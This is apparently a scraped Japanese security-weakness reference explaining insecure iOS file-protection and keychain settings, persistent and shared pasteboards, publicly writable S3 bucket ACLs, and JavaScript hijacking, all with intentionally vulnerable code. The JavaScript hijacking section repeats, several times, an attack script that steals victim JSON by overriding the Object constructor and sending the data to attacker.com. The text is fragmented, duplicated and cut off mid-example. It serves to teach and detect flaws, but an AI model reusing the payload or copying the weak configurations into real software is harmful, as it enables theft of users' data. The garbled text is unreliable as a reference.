カプセル化とは、強い境界線を引くことです。Web ブラウザの場合は、自分のモバイル コードが他のモバイル コードに悪用されないようにすることを意味します。サーバー上では、検証されたデータと検証されていないデータ、あるユーザーのデータと別のユーザーのデータ、またはユーザーが見ることを許可されたデータと許可されていないデータの区別などを意味する場合があります。
NSFileManager
に定数として定義されます。つまり、NSFileManager
インスタンスと関連付けられた NSDictionary
に NSFileProtectionKey
鍵の値として割り当てられることになります。またファイルを作成するか、あるいは setAttributes:ofItemAtPath:error:
、attributesOfItemAtPath:error:
、createFileAtPath:contents:attributes:
などの NSFileManager
関数を使用して変更されるデータ保護クラスをファイルに含めることができます。さらに、対応するデータ保護定数は NSData
オブジェクトに NSDataWritingOptions
として定義され、これを options
引数として NSData
関数 writeToURL:options:error:
および writeToFile:options:error:
に渡すことができます。NSFileManager
および NSData
の各種データ保護クラス定数の定義を以下に示します。NSFileProtectionComplete
, NSDataWritingFileProtectionComplete
:NSFileProtectionCompleteUnlessOpen
, NSDataWritingFileProtectionCompleteUnlessOpen
:NSFileProtectionCompleteUntilFirstUserAuthentication
, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication
:NSFileProtectionNone
, NSDataWritingFileProtectionNone
:NSFileProtectionCompleteUnlessOpen
または NSFileProtectionCompleteUntilFirstUserAuthentication
でマーキングすると、ユーザーのパスワードとデバイスの UID から導出された鍵を使用してファイルを暗号化できる一方、データは特定の状況下でアクセス可能のままになります。このように、NSFileProtectionCompleteUnlessOpen
または NSFileProtectionCompleteUntilFirstUserAuthentication
の使用方法については慎重に検証し、今後も NSFileProtectionComplete
による保護が保証されるかどうかを見極める必要があります。例 2: 以下の例では、所定のデータはユーザーがデバイスの電源をオンにして初回のパスワードを入力するまでに限り保護されます (次の再起動まで)。
...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionCompleteUntilFirstUserAuthentication forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...
...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication error:&err];
...
NSFileManager
に定数として定義されます。つまり、NSFileManager
インスタンスと関連付けられた Dictionary
に NSFileProtectionKey
鍵の値として割り当てられることになります。またファイルを作成するか、あるいは setAttributes(_:ofItemAtPath:)
、attributesOfItemAtPath(_:)
、createFileAtPath(_:contents:attributes:)
などの NSFileManager
関数を使用して変更されるデータ保護クラスをファイルに含めることができます。さらに、対応するデータ保護定数は NSData
オブジェクトに NSDataWritingOptions
列挙型として定義されています。これは options
引数として NSData
の関数 (
writeToFile(_:options:)
など) に渡すことができます。NSFileManager
および NSData
の各種データ保護クラス定数の定義を以下に示します。NSFileProtectionComplete
, NSDataWritingOptions.DataWritingFileProtectionComplete
:NSFileProtectionCompleteUnlessOpen
, NSDataWritingOptions.DataWritingFileProtectionCompleteUnlessOpen
:NSFileProtectionCompleteUntilFirstUserAuthentication
, NSDataWritingOptions.DataWritingFileProtectionCompleteUntilFirstUserAuthentication
:NSFileProtectionNone
, NSDataWritingOptions.DataWritingFileProtectionNone
:NSFileProtectionCompleteUnlessOpen
または NSFileProtectionCompleteUntilFirstUserAuthentication
でマーキングすると、ユーザーのパスワードとデバイスの UID から導出された鍵を使用してファイルを暗号化できる一方、データは特定の状況下でアクセス可能のままになります。このように、NSFileProtectionCompleteUnlessOpen
または NSFileProtectionCompleteUntilFirstUserAuthentication
の使用方法については慎重に検証し、今後も NSFileProtectionComplete
による保護が保証されるかどうかを見極める必要があります。例 2: 以下の例では、所定のデータはユーザーがデバイスの電源をオンにして初回のパスワードを入力するまでに限り保護されます (次の再起動まで)。
...
let documentsPath = NSURL(fileURLWithPath: NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)[0])
let filename = "\(documentsPath)/tmp_activeTrans.txt"
let protection = [NSFileProtectionKey: NSFileProtectionCompleteUntilFirstUserAuthentication]
do {
try NSFileManager.defaultManager().setAttributes(protection, ofItemAtPath: filename)
} catch let error as NSError {
NSLog("Unable to change attributes: \(error.debugDescription)")
}
...
BOOL ok = textToWrite.writeToFile(filename, atomically:true)
...
...
let documentsPath = NSURL(fileURLWithPath: NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)[0])
let filename = "\(documentsPath)/tmp_activeTrans.txt"
...
BOOL ok = textData.writeToFile(filepath, options: .DataWritingFileProtectionCompleteUntilFirstUserAuthentication);
...
kSecAttrAccessible
キーの値として割り当てる必要があります。さまざまなキーチェーン アクセシビリティ定数の定義を以下に示します。kSecAttrAccessibleAfterFirstUnlock
:kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleAfterFirstUnlock
でマーキングすると、ユーザーのパスコードとデバイスの UID から導出された鍵を使用してファイルを暗号化できる一方、データは特定の状況下でアクセス可能のままになります。このように、kSecAttrAccessibleAfterFirstUnlock
の使用方法については慎重に検証し、今後も保護が保証されるかどうかを見極める必要があります。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleAfterFirstUnlock forKey:(__bridge id) kSecAttrAccessible];
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessible
キーの値として割り当てる必要があります。さまざまなキーチェーン アクセシビリティ定数の定義を以下に示します。kSecAttrAccessibleAfterFirstUnlock
:kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleAfterFirstUnlock
でマーキングすると、ユーザーのパスコードとデバイスの UID から導出された鍵を使用してファイルを暗号化できる一方、データは特定の状況下でアクセス可能のままになります。このように、kSecAttrAccessibleAfterFirstUnlock
の使用方法については慎重に検証し、今後も保護が保証されるかどうかを見極める必要があります。
...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleAfterFirstUnlock
SecItemAdd(query as CFDictionary, nil)
...
NSFileManager
に定数として定義されます。つまり、NSFileManager
インスタンスと関連付けられた NSDictionary
に NSFileProtectionKey
鍵の値として割り当てられることになります。またファイルを作成するか、あるいは setAttributes:ofItemAtPath:error:
、attributesOfItemAtPath:error:
、createFileAtPath:contents:attributes:
などの NSFileManager
関数を使用して変更されるデータ保護クラスをファイルに含めることができます。さらに、対応するデータ保護定数は NSData
オブジェクトに NSDataWritingOptions
として定義され、これを options
引数として NSData
関数 writeToURL:options:error:
および writeToFile:options:error:
に渡すことができます。NSFileManager
および NSData
の各種データ保護クラス定数の定義を以下に示します。NSFileProtectionComplete
, NSDataWritingFileProtectionComplete
:NSFileProtectionCompleteUnlessOpen
, NSDataWritingFileProtectionCompleteUnlessOpen
:NSFileProtectionCompleteUntilFirstUserAuthentication
, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication
:NSFileProtectionNone
, NSDataWritingFileProtectionNone
:NSFileProtectionNone
を指定すると、デバイスの UID のみに基づいて導出された鍵が暗号化に使用されます。これにより、デバイスの電源が入っているときはパスワードでロックされているときや起動時を含み、これらのファイルが常にアクセス可能になります。このため、NSFileProtectionNone
の使用については慎重に検証し、今後もより厳格なデータ保護クラスによる保護が保証されることを見極める必要があります。例 2: 次の例では、所定のデータが保護されていません (デバイスの電源がオンのとき常にアクセス可能)。
...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionNone forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...
...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionNone error:&err];
...
NSFileManager
インスタンスに関連付けられた Dictionary
で NSFileProtectionKey
キーの値として割り当てるために、NSFileManager
で定数として定義されています。setAttributes(_:ofItemAtPath:)
、attributesOfItemAtPath(_:)
、createFileAtPath(_:contents:attributes:)
などの NSFileManager
の関数を使用すると、ファイルの作成やデータ保護クラスの変更を行うことができます。さらに、対応するデータ保護定数は NSData
オブジェクトに NSDataWritingOptions
列挙型として定義されています。これは options
引数として NSData
の関数 (
writeToFile(_:options:)
など) に渡すことができます。NSFileManager
および NSData
の各種データ保護クラス定数の定義を以下に示します。NSFileProtectionComplete
, NSDataWritingOptions.DataWritingFileProtectionComplete
:NSFileProtectionCompleteUnlessOpen
, NSDataWritingOptions.DataWritingFileProtectionCompleteUnlessOpen
:NSFileProtectionCompleteUntilFirstUserAuthentication
, NSDataWritingOptions.DataWritingFileProtectionCompleteUntilFirstUserAuthentication
:NSFileProtectionNone
, NSDataWritingOptions.DataWritingFileProtectionNone
:NSFileProtectionNone
を指定すると、デバイスの UID のみに基づいて導出された鍵が暗号化に使用されます。これにより、デバイスの電源が入っているときはパスワードでロックされているときや起動時を含み、これらのファイルが常にアクセス可能になります。このため、NSFileProtectionNone
の使用については慎重に検証し、今後もより厳格なデータ保護クラスによる保護が保証されることを見極める必要があります。例 2: 次の例では、所定のデータが保護されていません (デバイスの電源がオンのとき常にアクセス可能)。
...
let documentsPath = NSURL(fileURLWithPath: NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)[0])
let filename = "\(documentsPath)/tmp_activeTrans.txt"
let protection = [NSFileProtectionKey: NSFileProtectionNone]
do {
try NSFileManager.defaultManager().setAttributes(protection, ofItemAtPath: filename)
} catch let error as NSError {
NSLog("Unable to change attributes: \(error.debugDescription)")
}
...
BOOL ok = textToWrite.writeToFile(filename, atomically:true)
...
...
let documentsPath = NSURL(fileURLWithPath: NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)[0])
let filename = "\(documentsPath)/tmp_activeTrans.txt"
...
BOOL ok = textData.writeToFile(filepath, options: .DataWritingFileProtectionNone);
...
kSecAttrAccessible
キーの値として割り当てる必要があります。さまざまなキーチェーン アクセシビリティ定数の定義を以下に示します。kSecAttrAccessibleAfterFirstUnlock
:kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleAlways
を指定すると、デバイスの UID のみに基づいて導出された鍵が暗号化に使用されます。これにより、デバイスの電源が入っているときはパスワードでロックされているときや起動時を含み、これらのファイルが常にアクセス可能になります。このため、kSecAttrAccessibleAlways
の使用については慎重に検証し、今後もより厳格なキーチェーン アクセシビリティ レベルによる保護が保証されることを見極める必要があります。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleAlways forKey:(__bridge id) kSecAttrAccessible];
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessible
キーの値として割り当てる必要があります。さまざまなキーチェーン アクセシビリティ定数の定義を以下に示します。kSecAttrAccessibleAfterFirstUnlock
:kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleAlways
を指定すると、デバイスの UID のみに基づいて導出された鍵が暗号化に使用されます。これにより、デバイスの電源が入っているときはパスワードでロックされているときや起動時を含み、これらのファイルが常にアクセス可能になります。このため、kSecAttrAccessibleAlways
の使用については慎重に検証し、今後もより厳格なキーチェーン アクセシビリティ レベルによる保護が保証されることを見極める必要があります。
...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleAlways
SecItemAdd(query as CFDictionary, nil)
...
Realm
データベースへの接続を確立します。
Realm realm = Realm.getDefaultInstance();
Realm
データベースへの接続を確立します。
RLMRealmConfiguration *config = [RLMRealmConfiguration defaultConfiguration];
RLMRealm *realm = [RLMRealm realmWithConfiguration:config error:nil];
Realm
データベースへの接続を確立します。
let realm = try! Realm()
UIImageWriteToSavedPhotosAlbum
を使用して画像をフォト アルバムに保存します。
- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
// Access the uncropped image from info dictionary
UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];
// Save image
UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);
...
}
UIImageWriteToSavedPhotosAlbum
を使用して画像をフォト アルバムに保存します。
func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [NSObject : AnyObject]) {
if let pickedImage = info[UIImagePickerControllerOriginalImage] as? UIImage {
imageView.contentMode = .ScaleAspectFit
imageView.image = pickedImage
}
// Save image
UIImageWriteToSavedPhotosAlbum(pickedImage!, self, nil, nil)
dismissViewControllerAnimated(true, completion: nil)
}
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
のような合理的にセキュアなポリシーで格納される場合、デバイスが盗まれ、パスコードが設定されていた場合、盗んだ人はキーチェーン アイテムを復号化するためにデバイスをロック解除する必要があります。正しいパスコードを入力できない場合、盗んだ人はキーチェーン アイテムを復号化できません。ただし、パスコードが設定されていない場合、攻撃者は指をスライドさせるだけでデバイスをロック解除し、キーチェーン アイテムを復号化できます。このため、デバイスでのパスコードの設定を強制できない場合、キーチェーン暗号化メカニズムが脆弱になる可能性があります。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
のような合理的にセキュアなポリシーで格納される場合、デバイスが盗まれ、パスコードが設定されていた場合、盗んだ人はキーチェーン アイテムを復号化するためにデバイスをロック解除する必要があります。正しいパスコードを入力できない場合、盗んだ人はキーチェーン アイテムを復号化できません。ただし、パスコードが設定されていない場合、攻撃者は指をスライドさせるだけでデバイスをロック解除し、キーチェーン アイテムを復号化できます。このため、デバイスでのパスコードの設定を強制できない場合、キーチェーン暗号化メカニズムが脆弱になる可能性があります。
...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleWhenUnlockedThisDeviceOnly
SecItemAdd(query as CFDictionary, nil)
...
setPersistent:YES
を呼び出すことで永続的なものとして構成されます。
...
UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
[pasteboard setPersistent:YES];
...
setPersistent(true)
を呼び出すことで永続的なものとして構成されます。
...
let pasteboard = UIPasteboard(name: UIPasteboard.Name(rawValue: "myPasteboard"), create: true)!
pasteboard.setPersistent(true)
...
foo
バケットへの完全な匿名アクセス権を付与する Access Control Policy
を設定します。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("FullControl");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
foo
バケットへ匿名の ACP 読み取りアクセス権を付与する Access Control Policy
を設定します。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("READ_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
foo
バケットへの匿名の読み取りアクセス権を付与する Access Control Policy
を設定します。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Read");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
foo
バケットへ匿名の ACP 書き込みアクセス権を付与する Access Control Policy
を設定します。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("WRITE_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
foo
バケットへの匿名の書き込みアクセス権を付与する Access Control Policy
を設定します。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Write");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
items
プロパティを設定した状態で、一般的なペーストボードにデータが書き込まれます。このプロパティは、デフォルトでは、ユニバーサル クリップボードを介してユーザーのデバイス間でペーストボード コンテンツを共有します。例 2: 次のコードでは、
...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
UTTypePlainText : sensitiveDataString,
UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...
localOnly
パラメーターを NO
に設定することでユニバーサル クリップボードの動作を明示的に有効にした setObjects:localOnly:expirationDate:
メソッドを呼び出して、データを一般的なペーストボードに書き込みます。
...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]]
localOnly:NO
expirationDate:[NSDate distantFuture]];
...
setItems(_:options:)
メソッドを使用して、一般的なペーストボードにデータが書き込まれます。このメソッドは、デフォルトでは、ユニバーサル クリップボードを介してユーザーのデバイス間でペーストボード コンテンツを共有します。例 2: 次のコードでは、
...
let pasteboard = UIPasteboard.general
let items: [[String: Any]] = [
["text": sensitiveDataString],
["image": UIImage(data: medicalImageData)!]
]
pasteboard.setItems(items)
...
localOnly
パラメーターを false
に設定することでユニバーサル クリップボードの動作を明示的に有効にした setObjects(_:localOnly:expirationDate:)
メソッドを使用して、データを一般的なペーストボードに書き込みます。
...
let pasteboard = UIPasteboard.general
let items: [Any] = [
sensitiveDataString,
UIImage(data: medicalImageData)!
]
pasteboard.setObjects([items], localOnly: false, expirationDate: Date.distantFuture)
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleAlways
で、デバイスにアクセスできるユーザーまたはデバイスを盗んだ人がキーチェーンのコンテンツを読み取ることができるため、セキュリティ上の問題が発生していました。現在、デフォルト属性は kSecAttrAccessibleWhenUnlocked
で、これは適度に制限が付いたデフォルトです。ただし、Apple の公開ドキュメントでは、デフォルト属性がどうあるべきかについて意見が一致していないため、念のために、この属性をすべてのキーチェーンのアイテムに明示的に設定する必要があります。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
:kSecAttrAccessibleAlways
:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
:kSecAttrAccessibleAlwaysThisDeviceOnly
:kSecAttrAccessibleWhenUnlocked
:kSecAttrAccessibleWhenUnlockedThisDeviceOnly
:kSecAttrAccessibleAlways
で、デバイスにアクセスできるユーザーまたはデバイスを盗んだ人がキーチェーンのコンテンツを読み取ることができるため、セキュリティ上の問題が発生していました。現在、デフォルト属性は kSecAttrAccessibleWhenUnlocked
で、これは適度に制限が付いたデフォルトです。ただし、Apple の公開ドキュメントでは、デフォルト属性がどうあるべきかについて意見が一致していないため、念のために、この属性をすべてのキーチェーンのアイテムに明示的に設定する必要があります。
...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
SecItemAdd(query as CFDictionary, nil)
...
main()
メソッドです。これは製品開発中に認められる方法ですが、製品版 J2EE アプリケーションの一部であるクラスは main()
を定義しません。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
